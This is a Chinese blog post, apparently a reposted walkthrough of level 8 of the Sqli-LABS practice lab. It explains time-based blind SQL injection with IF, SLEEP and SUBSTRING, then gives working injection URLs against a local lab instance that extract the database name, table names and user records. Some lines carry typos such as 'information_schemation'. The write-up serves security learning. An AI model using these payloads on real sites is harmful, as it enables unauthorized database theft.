您的位置:首页 > 数据库

Sqli-LABS通关笔录-8[延时注入]

2016-11-29 16:00 555 查看
通过该关卡我学习到了

1.if语句的三目运算符(其实说白了也就是php里的三位运算符)

2.sleep函数

3.substring函数(其实和substr一样)

4.limit的灵活运用

5.

Start Study

先来科普延时注入知识吧。

延时注入方法很简单:就是利用IF的三目运算符使用substring函数来判断字符的ASCII码值,进而猜解出正确的内容。

拿下面的案例而言,如果字符串hello的首字母的ASCII码大于120的话那么延时十秒,否则输出1。下面的案例是延时了十秒。

Example:
select if(ascii(substring("hello",1,1))>120,sleep(10),1);
注:
substring()等价于substr
sleep(10)延时十秒




下面我们来看关卡。

将刚才的sql语句放到 url里

http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring("helloworld",1,1))=104,sleep(10),1)--+




左上方可以看到正在连接,并且持续了十多秒,所以延时注入的影响因素跟时间也是息息相关的。延迟也就是说sleep(10)得到执行了。

00x1 猜数据库名

经过测试数据库名的第一个ASCII码为115
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring(database(),1,1))=115,sleep(10),1)--+

......................................................................................................2.................................

.....最终得出为:security



00x2 猜表名

记住哈,是从0开始的,我给写从1开始了。limit 0,1

http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113,sleep(10),1);--+ 符合IF条件 http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>114,sleep(10),1);--+ 不符合IF条件 http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114,sleep(10),1);--+ 等于114


推出第一个的ASCII码为:114

修改substring函数的第二个参数进行猜解第二个的ASCII码

http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101,sleep(10),1);--+


猜第二个表的时候修改select下limit的即可,即(limit 2,1)也可如下所示:

http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))=117,sleep(10),1);--+


注:

  


以上该图当中使用红色箭头标注的地点需是两个括号。原因很简单就是使用了双层的select语句,因为在其原本的sql语句中是有一个select的。所以说要多家一层括号。

详细的解释可参考《sql注入之你问我答小知识》的17问:http://www.cnblogs.com/xishaonian/p/6036909.html

00x3 猜字段

只需要将select语句里的

table_name改为column_name以及information_schemation.tables改为information_schemation.columns

就可以了。还是要记住哦,是从0开始的!

00x4 猜内容

格式:http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substr((select 字段 from 数据库名.表明 order by id limit m,n),x,y))>68,sleep(10),1);--+
注:
m,n为limit函数的
x,y为substr函数的
可将格式再缩为:if(ascii(substr((select 字段 数据库.表明 order by id limit m,n))>ASCII码,sleep(10),1); http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+ http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substr((select username from security.users order by id limit 0,1),2,1))=117,sleep(10),1);--+


第一个ASCII:68

第二个ASCII:117

最后推出usernam第一个得出为:Dumb

诺,送users表下的数据图一张



转载请注明出处:珍惜少年时博客

THE END
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: